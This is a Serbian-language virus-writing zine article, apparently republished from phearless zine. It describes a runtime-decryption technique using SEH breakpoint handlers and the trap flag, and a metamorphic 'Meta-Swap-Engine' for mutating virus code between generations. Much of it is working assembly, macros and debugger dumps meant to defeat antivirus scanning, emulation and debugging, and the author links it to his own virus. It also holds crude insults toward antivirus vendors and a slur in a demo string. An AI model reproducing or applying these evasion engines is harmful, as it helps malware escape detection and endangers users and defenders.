
__decrypt: inc esi
xor byte ptr[esi], 0DEh
cmp byte ptr[esi], int3opcode
jne __decrypt

mov ebx, pContext
inc [ebx.CONTEXT_Eip]
xor eax, eax
__exit_seh: ret
sehhandle endp

Problemi sa postojecim makro resenjem

Ako ste pratili ceo tekst shvatili ste da je ovaj algoritam u sustini los. Kao
sto se da videti nas SEH kad god primi int 3h on dekriptuje do sledeceg int 3h,
medjutim ako instrukcije nisu kriptovane (recimo drugi poziv nekoj funkciji koja
je bila kriptovana) napravice dzumbus, jer ce SEH da dekriptuje dekriptovane
instrukcije i pretvoriti ih u bog zna sta. Zbog toga pomenute makroe treba
izmeniti kako bi SEH znao da li je iza int 3h dekriptovana ili enkriptovana
instrukcija( ili blok instrukcija). U te svrhe sam preradio makroe da ovako izgledaju:

fuck_kav_sophos macro param
int 3h
db MAGIC_CRYPTED
param
endm

A SEH ce na osnovu db koji se nalazi posle int 3h znati da li da dekriptuje ili
samo da prebaci eip na instrukciju.
Novi preradjeni SEH ce izgledati ovako:

sehhandle proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
mov eax, 1
mov ebx, pException
__check_break: cmp [ebx.ER_ExceptionCode], EXCEPTION_BREAKPOINT
jne __exit_seh
mov ebx, pContext
mov esi, [ebx.CONTEXT_Eip]
cmp byte ptr[esi+1], MAGIC_CRYPTED
je __execute
__decrypt: inc esi
xor byte ptr[esi], XOR_KEY
cmp byte ptr[esi], int3opcode
jne __decrypt

__execute: mov ebx, pContext
add [ebx.CONTEXT_Eip],2

xor eax, eax
__exit_seh: ret
sehhandle endp

Prvo proveravamo da li je rec o EXCEPTION_BREAKPOINT, ako jeste moramo proveriti
da li je instrukcija kriptovana ili nije to cinimo prostim proveravanjem za
bajtom koji sledi int 3h instrukciju. Na taj nacin omogucavamo dupli prelaz preko
enkriptovanih instrukcija. Takodje morate voditi racuna sta postavljate za
MAGIC_CRYPTED jer pod nekim nerazjsanjenim okolnostima OllyDbg moze da prebaci
izvrsavanje SEH i da se sve lepo dekritptuje i posle sa CTRL-A da analizira
dekriptovani kod i dobijemo prave instrukcije. Naime, ja sam kao MAGIC_CRYPTED
koristio 0ADh sto je ekvivalentno sa lodsd (1 byteduga instrukcija), kako bi
zeznuli ovaj, jos meni, nejasan nacin predavanja exceptiona kodu mozemo se koristi
znanjem koje smo stekli analizirajuci format instrukcija na IA32. Moj predlog je
koriscenje sledecih MAGIC_CRYPTED : 81h -> mov reg/mem, imm32 sto moze da
konstruise instrukciju od 11byte u zavisnosti od modrm
F7 i F6 -> mogu biti test/neg/not/div i jos instrukcija u zavisnosti od opcode
polaj u modr/m
D7-DF -> ovo su instrukcije koje predstavljau FPU i pracene su sa mod/rm znaci
min 2 byte
0F -> prefix za instrukcije ciji je opcode 2 byte + modr/m ako se ne varam u
ovo potpadaju i vecina mmx instrukcije i jos gomila drugih koje nisam
ispitao praveci moj LDEx86.

Kriptujmo sve u kodu.

Sigurno ste primetili da dosadasnje resenje ima jedan mali nedostatak, a to je
da se prvi int 3h vidi, odnosno ostaje gola instrukcija. Da bi prevaziso ovaj
problem posluzio sam se postavljanjem TRAP flaga u Eflags kako bi znao kad da
dekriptujem prvi int 3h. Postavljanjem TRAP flaga omogucavamo da procesor generise
exception posle izvrsavanja jedne instrukcije. Trap flag se moze lako postaviti
sledecim makro-om.

fuck_kav_sophos_trap macro
pushf
or dword ptr[esp], 100h
popf
jmp $+2
endm

jmp $+2 je instrukcija koja nece biti tracovana posle postavljanja TRAP flaga i
zato skacemo na sledecu instrukciju, koja je u sustini kriptovani int 3h, tako
da ce se exception predati nasem SEHu i nama ostaje samo da dekriptujemo 1byte
(int 3h) na koji EIP pokazuje, da ocistimo TRAP flag (za svaki slucaj iako ga
seh cisti) i da nastavimo izvrsavanje koda odande gde smo i stali. Posle toga ce
se pozivati SEH za breakpoint i idemo, dekriptujemo sve zivo po vec izlozenom
modelu. Novi SEH i kod snippet izgledaju ovako :

__go: fuck_kav_sophos_trap

__fuck_kav_sophos: fuck_kav_sophos <call __anti_emulation>
fuck_kav_sophos <call __anti_emu_msg>
...
sehhandle proc C pException:DWORD, pFrame:DWORD, pContext:DWORD, param:DWORD
mov eax, 1
mov ebx, pException
cmp [ebx.ER_ExceptionCode], EXCEPTION_SINGLE_STEP
jne __check_break
mov ebx, pContext
and [ebx.CONTEXT_EFlags], 0FFFFFEFFh
mov esi, [ebx.CONTEXT_Eip]
xor byte ptr[esi], XOR_KEY
xor eax, eax
jmp __exit_seh
__check_break: cmp [ebx.ER_ExceptionCode], EXCEPTION_BREAKPOINT
jne __exit_seh
mov ebx, pContext
mov esi, [ebx.CONTEXT_Eip]
cmp byte ptr[esi+1], MAGIC_CRYPTED
je __execute
__decrypt: inc esi
xor byte ptr[esi], XOR_KEY
cmp byte ptr[esi], int3opcode
jne __decrypt

__execute: mov ebx, pContext
add [ebx.CONTEXT_Eip],2

xor eax, eax
__exit_seh: ret
sehhandle endp

Medjutim kad ovo radimo mi zelimo da izbegnemo da se nas kod unutar samog sebe
enkriptuje. E zato sam ja pribegao pisanju spoljnjeg kriptera u C koji ce sav
posao odraditi za nas. Problem je kako naci gde pocinje, a gde se zavrsava kod
koji hocemo da kriptujemo. Nista lakse, ubacimo stringove u kod koje ce nas
program traziti i kako ce znati odakle, dokle da kriptuje. Primer:

jmp __go
db "ENCRYPT",0
__go: fuck_kav_sophos_trap

__fuck_kav_sophos: fuck_kav_sophos <call __anti_emulation>
...
__end_fuck_kav_sophos:
db "ENDENCRYPT",0

Sad je potrebno samo napisati program koji ce traziti ova dva stringa u EXE fajlu
i kriptovati izmedju njih sve sto nadje. Evo kako izgleda deo koda kriptovan preko
spoljnjeg kriptera:

00401011 . EB 08 JMP SHORT makro6.0040101B
00401013 FF DB FF
00401014 FF DB FF
00401015 FF DB FF
00401016 FF DB FF
00401017 FF DB FF
00401018 FF DB FF
00401019 FF DB FF
0040101A FF DB FF
0040101B > 9C PUSHFD
0040101C . 810C24 0001000>OR DWORD PTR SS:[ESP],100
00401023 . 9D POPFD
00401024 . EB 00 JMP SHORT makro6.00401026
00401026 > 1273 36 ADC DH,BYTE PTR DS:[EBX+36]
00401029 . 52 PUSH EDX
0040102A DE DB DE
0040102B DE DB DE
0040102C DE DB DE
0040102D 12 DB 12
0040102E 73 DB 73 ; CHAR 's'
0040102F 36 DB 36 ; CHAR '6'
00401030 47 DB 47 ; CHAR 'G'
00401031 DE DB DE
00401032 DE DB DE
00401033 DE DB DE
00401034 12 DB 12
00401035 73 DB 73 ; CHAR 's'
00401036 B4 DB B4
00401037 DE DB DE
00401038 12 DB 12
00401039 73 DB 73 ; CHAR 's'
0040103A B6 DB B6
0040103B . DEFE9EDE DD DE9EFEDE
0040103F 12 DB 12
00401040 73 DB 73 ; CHAR 's'
00401041 B6 DB B6
00401042 . D8FE9EDE DD DE9EFED8
00401046 12 DB 12
...

Kao sto se vidi na 00401013, sam umesto ENCRYPT,0 stavio 0xFF da eliminisem taj
string, dakle preskacemo kod enkripcije duzinu stringa + duzinu fuck_kav_sophos_trap
i kriptujemo sve do stringa ENDENCRYPT i imamo lepo kriptovan kod koji ce malo
izludjivati AV kompanije kod dekriptovanja istog. Svakako da je moguce uraditi
bolju dekripciju/enkripciju, menjati kljuceve od generacije do generacije virusa,
menjati MAGIC_CODE izmedju int 3h, instrukcije, itd itd. Prilikom implementiranja
ovog u virus nema nekih problema, mozda deluje komplikovano, ali jedino sto moze
biti komplikovano u ovom slucaju je pisanje ovakvog virusa ako mislite da
koristite ovako duga imena za makro. Ostalo je pickin dim, ako uspem da zavrsim
virus koji ovo koristi do sledeceg ph zine, svakako cete citati o tome :)

Uz ovaj tekst su prilozeni makro*.asm koje sam koristio, kao i runtime.c za
spoljnju enkripciju poslednjeg od ovih makro*.asm, mislim da je makro6.asm u
pitanju, no sve zavisi od naseg dragog urednika kako ce sve to svrstati :)

Neke lude ideje

Kao sto vidite ideja nije losa, ali mozemo da generisemo kod sledeceg oblika u
virusu:

poly-dekriptor [KRIPTOVAN CEO VIRUS ]
poly-dekriptor [dekriptovan deo virusa][OSTATAK KRIPTOVAN ]
poly-dekriptor [dekriptovan deo virusa][dekriptovan drugi deo][KRIPTOVANO ]
poly-dekriptor [dekriptovan deo virusa][dekriptovan drugi deo][dekriptovan ostatak ]

A u okviru svakog od njih mozemo dekriptovati preko runtime. Recimo imamo dobar
poly engin koji dekriptuje jedan deo virusa koji, recimo nalazi sve APIje, zatim
postavljamo SEH sa drugim kljucem koji ce @ runtime dekriptovati drugi deo virusa
koji je zaduzen za infekciju i onda, recimo, na kraju dekriptujemo @ runtime deo
virusa koji skace na host i slicno.

Mislim sad sve ostaje na necijoj masti, granice za koriscenje ovakvih trikova su
nepredvidive. Jednom recju, ovo je jako mocna tehnika ako ovladate njome... I da
kazem opet, ovo je univerzalna ANTI-* tehnika (anti-debug, anti-heuristik,
anti-emulation) na koju AV software nije spreman trenutno, ali ko zna, mozda
jednog dana ojacaju svoje sugave programe...

Meni se trenutno u glavi motaju razne ideje po ovom pitanju, ali sta da radim,
smrtnik sam i nemogu sve da ih sprovedem u delo, but who knows, maybe some day :))

Nacin Debugovanja engina u pocetku

Eh, ovo je bilo najteze u pocetku, jedini nacin jeste da debugujete u glavi, da
znate sta hocete od koda, moj savet je da uradite samo kod koristeci ove makro
i da ubacite SEH bez enkripcije i dekripcije u debugger i da sa single-stepom
pratite kako i sta kod radi, barem sam ja tako nasao vecinu bugova u ovom enginu
i sad vam prezentujem finalnu verziju celog engina prateci korake
koje sam ja proso u njegovom razvoju.


Zavrsne reci

Ahhhh ta runtime dekripcija, boze mogu samo da zamislim nekog mazohistu koji
cita ovakav kod pokusavajuci da provali sta on odista radi. Moguce je normalno
provaliti sta radi, ali je to malo teze uraditi.

Pa Kaspersky i ostali govnari iz AV kompanija (F-Secure i NOD32 ne spadaju u ovu
grupu) mozete da ga duvate pred novim idejama... Zao mi je sto ne mogu vise da se
bavim ovim, jer imam obaveze, ali dobro dajem ideje pa nek AV kompanije rade malo,
a ne samo da se reklamiraju, majku im jebem, sugavu. Najgori dzabalebarosi, samo
sede i kaplju im pare. PA NE MOZE TO TAKO, JA RADIM ZA SVOJ HLEB,
IMA I VI DA RADITE MATER VAM JEBEM.

Prilozeni fajlovi:
runtime.asm - manuelna redirekcija jcc/jmp/call (short relative)
makro.asm - lak za razumevanje koristi makroe i enkripciju u sebi (mali i jasan primer)
makro2.asm - demonstrira enkripciju u sebi i skakanje po kriptovanom kodu
makro3.asm - finalna verzija koja radi sve o cemu sam pricao
runtime.c - spolnji kripter za makro3.asm, sintaksa "runtime.exe makro3.exe"

Svi ovi kodovi su pisani u tasm32/bcc32

deroko[at]gmail[dot]com
http://deroko.headcoders.net

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<


Meta-Swap-Engine iliti MSE (Mico$hit engin)



Teorija i logika MSE engina

MSE je nastao kao reakcija na nacin kojim AV kompanije detektuju moj blackhand.w32.
blackhand.w32 je imao lep polimorfni dekriptor koji je bio samo tu da slomije
scan stringove. Medjutim AV kompanije su pametnije nego sto sam ja bio :) Naime
njihov algoritam za detekciju virusa je sledeci:
1. Pustiti da se virus dekriptuje
2. Skenirati za dekriptovanim kodom (jer se on ne menja)

Dakle sav moj rad oko polimorfnog engina je pao u vodu. Postavlja se pitanje dakle,
kako ibzeci scan stringove. Tu postoje u nacelu dva odgovora.

1. napisati metamorfni kod kao sto je recimo MetaPHOR
2. napiasti swap engin koji ce menjati instrukcije koje se dosta pojavljuju u kodu

Prvo resenje je neprihvatljivo, jer je mnogo tesko napisati ga i ja jednostavno
nemam ideju kako da pocnem sa tim. Tako da mi je ovo resenje otpalo odmah na
pocetku, kao nemoguce (moguce ali treba dosta vremena, a kako vremena nemam, a
vec smo na pragu 64bitne arhitekture opredelio sam se za
drugo resenje).

Drugo resenje je daleko prihvatljivije jer lako mozemo lomiti scan stringove sa
modifikovanjem odredjenih instrukcija koje su veoma ceste, a koje se lako mogu
prepistai u ekvivalentne instrukcije.
Kao sto je :
mov eax, ebx u push ebx
pop eax
i slicne.
Naime buduci da su instrukcije veoma cesto koriscene mozemo lako napisati engin
koji ce to modifikovati. U konkretnom slucaju, moramo dakle da znamo duzinu
instrukcija i da proverimo MOD 2gog bajta instrukcije mov kako bi znali da je
rec o register u register. Ako pak naletimo na push register, moramo proveriti
da li je sledeca instrukcija pop register i na taj nacin znati da li push/pop
register mozemo zameniti sa mov reg1/reg2. Ali takodje i sam mov reg1/reg2 je
polimorfan jer ga mozemo zameniti sa mov reg2/reg1 i promeniti d bit u prvom bajtu
opcode-a. To je slucaj sa vecinom instrukcija koja imaju odnos reg/reg.
Za ovo cu vas uputiti na jedan divan clanak koji postoji u 29a casopisu (Reference)

Kod kodiranja ovog engina moramo znati koje su instrukcije ekvivalenti sa kojima.
Ja cu ovde izloziti sta je moj engin u mogucnosti da menja i kako ga koristiti.
Jer objasnjenje engina nije lako uopste i moram priznati da sam vise puta gledao
Intel Developers Manual Volum 2 kako bi znao sta, gde i kako... + onaj tekst iz
29a koji sadrzi sve to samo malo uprosceno.

Naime prvo krecemo od test/or koji se javljaju posle poziva funkcija i kojima
proveravamo da li je funkcija uspela ili nije. Buduci da se oni mahom kosite
posle poziva APIja odlucio sam da njih mutiram i menjam. Duzina im je ista, a
ono sto moramo proveriti jeste da li se ispred test/or nalazi call i onda ga
mutirati. Tako da ce nas kod posle mutacije izgledati nesto ovako:

Nece biti menjano Ovo ce se pormeniti u ovo i obrnuto
~~~~ ~~~~ ~~~~
| | |
V V V
+---------------+ +-----------------+ +----------------+
| call api | | call api | | call api |
| mov ecx, ebx | | test eax, eax | | or eax, eax |
| test eax, eax | | jz $+12345678h | | jz $+12345678h |
+---------------+ +-----------------+ +----------------+

Kao sto vidimo prvi slucaj se nece promeniti jer ispred test eax, eax imamo
instrukciju mov. Naime ovo bi mogli da mutiramo ako bi gledali da li instrukcije
iza call a ispred test ne koriste register koji mi koristimo za test/or i na taj
nacin i to mutirati, ali to je malo slozenije i zahteva mnogo vise kodiranja, a
ja sam hteo samo da lomim scan stringove.

Takodje engin je sposoban da mutira lodsd/stosb jer su oni veoma cesto korisceni
u virusima. To mu dodje ovako

lodsd mov eax, dword ptr[esi]
add esi, 4

stosd mov dword ptr[edo], eax
add edi, 4

Jedini problem ovde je sto je lodsd 1 byte, a njegov ekvivalent je malo duzi.
Zato ja i korsitim sledece makroe u virusu (u prvoh generaciji, s mogucnoscu da
se sve vrati na staro u nekoj drugoj generaciji)

@lodsd macro
lodsd
db 5 dup(90h)
endm

@stosd macro
stosd
db 5 dup(90h)
endm

Dakle umesto u kodu da korisitmo lodsd/stosd mi cemo koristiti @lodsd/@stosd
kako bi kasnije mogli da ih mutiramo u njihove ekvivalente i obrnuto.

Takodje jedna od veoma cesto koriscenih instrukcija je kombinacija pushad/popad.
One su malo komplikovanije nego sto na prvi pogled izgleda. Naime problem je sa
pushad koji mozemo prepisati kao gomilu pusheva. Ali trik je u tome da ako guramo
registre po redu kako to pushad radi dolazimo na jedan mali problem. Naime pushad
kad gurne esp na stack zajedno sa ostalim registrima stavlja adresu esp u trenutku
poziva instrukcije, a ne adresu esp koja se dobije posle guranja
eax, ecx, edx, ebx. Slikovito:
push eax pushad
push ecx
push edx
push ebx
push esp
push ebp
push esi
push edi
Ako pravimo gomilu pusheva moramo modifikovati sacuvani esp da pokazuje na stack
pre nego sto je doslo do push eax. Na nasu srecu Jacky Qwerty je ovaj posao odradio
za nas u njegovim cuvenim include fajlovima za tasm koji su must-have za pisanje
virusa. Dakle pushad mozemo zameniti sa ovim:
push eax
push ecx
push edx
push ebx
push esp
push ebp
push esi
push edi
[esp.Pushad_eax],10h ; (16 decimalno = 4 registra od po 4 byte)

I tako konstuisemo pushad kroz gomilu pusheva. No ako bi znali da posle pushad
modifikovanog kroz pusheve ide popad takodje modifikovan kroz popove onda ne bi
morali da menjamo sacuvani esp. No posto mi menjamo instrukcije na

principu  
slucajnog broja, mi ne mozemo znati da li iza gomile pusheva imamo popad ili
popad kao gomilu pop-ova. Situacija sa popad je mnogo laksa i tu samo generisemo
gomilu popova s tim sto ne pravimo pop esp vec pop ebx ili pop ecx ili pop edx
jer ce se esp sam namestiti kad popnemo poslednji register koji je sacuvan.
Tako da opet idemo sa makroima ovde, umesto pushad/popad koristimo @pushad/@popad
@pushad macro
pushad
db 15 dup(90h)
endm

@popad macro
popad
db 7 dup(90h)
endm

Zatim prelazimo na 2 byte duge i 1 byte duge instrukcije koje koriste registre.
Razmislimo sta je najcesce koriceno u virusu ili uopste u nekom kodu...
xor reg/reg i mov reg/reg

xor se koristi za postavljanje registra na 0, dakle to mozemo modifikovati da
izgleda ovako:
xor reg/reg = sub reg/reg
E tako cemo i da mutiramo kod, po tom principu, ako xor radi sa 2 ista registra,
mozemo ga zameniti sa sub 2 ista registra i obrnuto, duzina instrukciaj je 2 i
nema potrebe koristiti neki makro koji ce da popuni prazan prostor (takozvani pading).

Takodje mov reg/reg moze biti zamenjeno sa push/pop kombinacijom registra,
duzina mov u push/pop kombinacije je 2 byte znaci ni ovde ne treba pading.

Dakle ovaj kod je u mogucnosti da mutira push/pop mov reg/reg i xor/sub reg/reg
na ovaj nacin:

1.generacija 2.generacija 3.generacija 4.generacija
____________ ____________ ____________ ____________
mov eax, ebx push ebx mov eax, ebx mov eax, ebx
xor eax, eax pop ebx sub eax, eax sub eax, eax
push ecx xor eax, eax mov edx, ecx push ecx
pop edx mov edx, ecx pop edx

i tako dalje i tako dalje, ako ovom dodamo i pushad/popad i lodsd/stosd i test/or
mozemo da dobijemo lep meta kod koji ce lepo moci da mutira kroz svoj zivot.
Da ga ne tupim vise, idemo sa jednim primerom iz debugera da vidite kako to izgleda
u praksi.

00401000 >/$ B9 54000000 MOV ECX,54
00401005 |. 51 PUSH ECX ; /Arg2 => 00000054
00401006 |. 68 10104000 PUSH zine.00401010 ; |Arg1 = 00401010
0040100B |. E8 54000000 CALL zine.00401064 ; \zine.00401064
00401010 |. 60 PUSHAD
00401011 |. 90 NOP
00401012 |. 90 NOP
00401013 |. 90 NOP
00401014 |. 90 NOP
00401015 |. 90 NOP
00401016 |. 90 NOP
00401017 |. 90 NOP
00401018 |. 90 NOP
00401019 |. 90 NOP
0040101A |. 90 NOP
0040101B |. 90 NOP
0040101C |. 90 NOP
0040101D |. 90 NOP
0040101E |. 90 NOP
0040101F |. 90 NOP
00401020 |. B8 13204000 MOV EAX,zine.00402013
00401025 |. 8BF0 MOV ESI,EAX
00401027 |. 8BFE MOV EDI,ESI
00401029 |. AD LODS DWORD PTR DS:[ESI]
0040102A |. 90 NOP
0040102B |. 90 NOP
0040102C |. 90 NOP
0040102D |. 90 NOP
0040102E |. 90 NOP
0040102F |. AB STOS DWORD PTR ES:[EDI]
00401030 |. 90 NOP
00401031 |. 90 NOP
00401032 |. 90 NOP
00401033 |. 90 NOP
00401034 |. 90 NOP
00401035 |. 33C0 XOR EAX,EAX
00401037 |. 33DB XOR EBX,EBX
00401039 |. 33D2 XOR EDX,EDX
0040103B |. B8 00204000 MOV EAX,zine.00402000 ; ASCII "y0 My nIgGaZ"
00401040 |. BB 0D204000 MOV EBX,zine.0040200D ; ASCII "hello"
00401045 |. 8BF0 MOV ESI,EAX
00401047 |. 8BFB MOV EDI,EBX
00401049 |. 52 PUSH EDX ; /Style => MB_OK|MB_APPLMODAL
0040104A |. 57 PUSH EDI ; |Title => "hello"
0040104B |. 56 PUSH ESI ; |Text => "y0 My nIgGaZ"
0040104C |. 52 PUSH EDX ; |hOwner => NULL
0040104D |. E8 07050000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
00401052 |. 0BC0 OR EAX,EAX
00401054 |. 61 POPAD
00401055 |. 90 NOP
00401056 |. 90 NOP
00401057 |. 90 NOP
00401058 |. 90 NOP
00401059 |. 90 NOP
0040105A |. 90 NOP
0040105B |. 90 NOP
0040105C |. 33F6 XOR ESI,ESI
0040105E |. 56 PUSH ESI ; /ExitCode => 0
0040105F \. E8 FB040000 CALL <JMP.&KERNEL32.ExitProcess> ; \ExitProcess

I posle to dodje ovako nesto ->

00401000 >/$ B9 54000000 MOV ECX,54
00401005 |. 51 PUSH ECX ; /Arg2 => 00000054
00401006 |. 68 10104000 PUSH zine.00401010 ; |Arg1 = 00401010
0040100B |. E8 54000000 CALL zine.00401064 ; \zine.00401064
00401010 |. 50 PUSH EAX
00401011 |. 51 PUSH ECX
00401012 |. 52 PUSH EDX
00401013 |. 53 PUSH EBX
00401014 |. 54 PUSH ESP
00401015 |. 55 PUSH EBP
00401016 |. 56 PUSH ESI
00401017 |. 57 PUSH EDI
00401018 |. 834424 0C 10 ADD DWORD PTR SS:[ESP+C],10
0040101D |. 90 NOP
0040101E |. 90 NOP
0040101F |. 90 NOP
00401020 |. B8 13204000 MOV EAX,zine.00402013
00401025 |. 50 PUSH EAX
00401026 |? 5E POP ESI
00401027 |. 56 PUSH ESI
00401028 |? 5F POP EDI
00401029 |. 8B06 MOV EAX,DWORD PTR DS:[ESI]
0040102B |. 83C6 04 ADD ESI,4
0040102E |. 90 NOP
0040102F |. 8907 MOV DWORD PTR DS:[EDI],EAX
00401031 |. 83C7 04 ADD EDI,4
00401034 |. 90 NOP
00401035 |. 2BC0 SUB EAX,EAX
00401037 |. 2BDB SUB EBX,EBX
00401039 |. 2BD2 SUB EDX,EDX
0040103B |. B8 00204000 MOV EAX,zine.00402000 ; ASCII "y0 My nIgGaZ"
00401040 |. BB 0D204000 MOV EBX,zine.0040200D ; ASCII "hello"
00401045 |. 50 PUSH EAX
00401046 |? 5E POP ESI
00401047 |. 53 PUSH EBX
00401048 |? 5F POP EDI
00401049 |. 52 PUSH EDX ; /Style => MB_OK|MB_APPLMODAL
0040104A |. 57 PUSH EDI ; |Title => "hello"
0040104B |. 56 PUSH ESI ; |Text => "y0 My nIgGaZ"
0040104C |. 52 PUSH EDX ; |hOwner => NULL
0040104D |. E8 07050000 CALL <JMP.&USER32.MessageBoxA> ; \MessageBoxA
00401052 |. 85C0 TEST EAX,EAX
00401054 |. 5F POP EDI
00401055 |. 5E POP ESI
00401056 |. 5D POP EBP
00401057 |. 5B POP EBX
00401058 |. 5B POP EBX
00401059 |. 5A POP EDX
0040105A |. 59 POP ECX
0040105B |. 58 POP EAX
0040105C |. 2BF6 SUB ESI,ESI
0040105E |. 56 PUSH ESI ; /ExitCode => 0
0040105F \. E8 FB040000 CALL <JMP.&KERNEL32.ExitProcess> ; \ExitProcess

I kao sto se da videti ceo kod je izmenjen, doduse ne nasumicno vec bas onako
kako sam ja hteo. A to je da se sve promeni, u blackhand.w32 sam implementirao
nasumicno menaje po pricnipu EIP gde se nalazi tako sto gledam poslednji byte
EIPa i ako je ispod 90h onda menjam, ako nije ostavljamo i tako dalje i tako dalje.
Nije najbolji random number generator ali radi posao u virusu. Jer jednom ubacen
u drugi fajl virus ce imati drugaciji EIP i onda od toga zavisi i mutacija u sledecoj
generaciji, kad inficirani fajl inficira drugi itd, itd...

Sintaksa za koriscenje MSE je sledeca:
+-------------------------------------------------------+
|call meta_swap_engine, adresa_virusa, velicina_virusa|
+-------------------------------------------------------+

Evo i koda koji sam vam gore prezentovao kroz disassembler:
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<zine.asm>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.586
.model flat,stdcall
locals
jumps

extrn MessageBoxA:proc
extrn ExitProcess:proc

include meta.inc
include useful.inc

.data
mText db "y0 My nIgGaZ",0
mTitle db "hello",0
dummy dd ?

.code
__start:
mov ecx, __meta_ends_here - __meta_starts_here
call meta_swap_engine, offset __meta_starts_here, ecx
__meta_starts_here:
@pushad
mov eax, offset dummy
mov esi, eax
mov edi, esi
@lodsd
@stosd
xor eax, eax
xor ebx, ebx
xor edx, edx
mov eax, offset mText
mov ebx, offset mTitle
mov esi, eax
mov edi, ebx
call MessageBoxA, edx, esi, edi, edx
or eax, eax
@popad
xor esi, esi
call ExitProcess, esi
__meta_ends_here:

include meta.asm
end __start
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<zine.asm>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

E sad zamislite ovo, sa gore pomenutom runtime enkripcijom :) Kako ce da boli
glava AVovce :) I normalno opet Sopshos i KAV luseri mozete ga duvate, a ujedno
i vase kompanije.

NOD32 i F-Secure rulaju (heuristika je buducnost, potpisi su proslost)
I posle Evropa kaze nama Srbima, vi ste okrenuti proslosti?!?!?!
Ja kazem gluposti, vidite kako idemo napred sa novim tehnikama :)))


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

Reference:
Polymorphism and intel instruction format - http://www.vx.netlux.org/29a/29a-7/Articles/29A-7.027
Metamorphism in practice - http://www.vx.netlux.org/29a/29a-6/29a-6.205
Intel Architecture Software Developer's Manual:
Volume 2 - Instruction Set Reference
VX Heavens - http://www.vx.netlux.org

Zahvalnice/Pohvalnice:
ceo #ugs kanal i svima koji doprinose razvoju phearless zine-a

Napusavanja:
(ja sam ga pisao i mogu da kazem sta hocu)
KASPERSKY - je jedna debilcina
KAV useri - debili, koji veruju marketingu
SOPSHOS (kako oni debili sa zapada, tako i ovi nasi iz Novog Sada)
- debili, krajnje retardirani, mos misliti koliko covek treba
biti glup pa kupiti ovaj software
SOPHOS useri
- licno vas sazaljevam
Par lepih reci:
NOD32 - rula
NOD32 useri - smekeri, ribe se loze na Nodovce :)
F-Secure - rula
F-Secure useri - smekeri, ribe se lose na Fsekjurase :)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT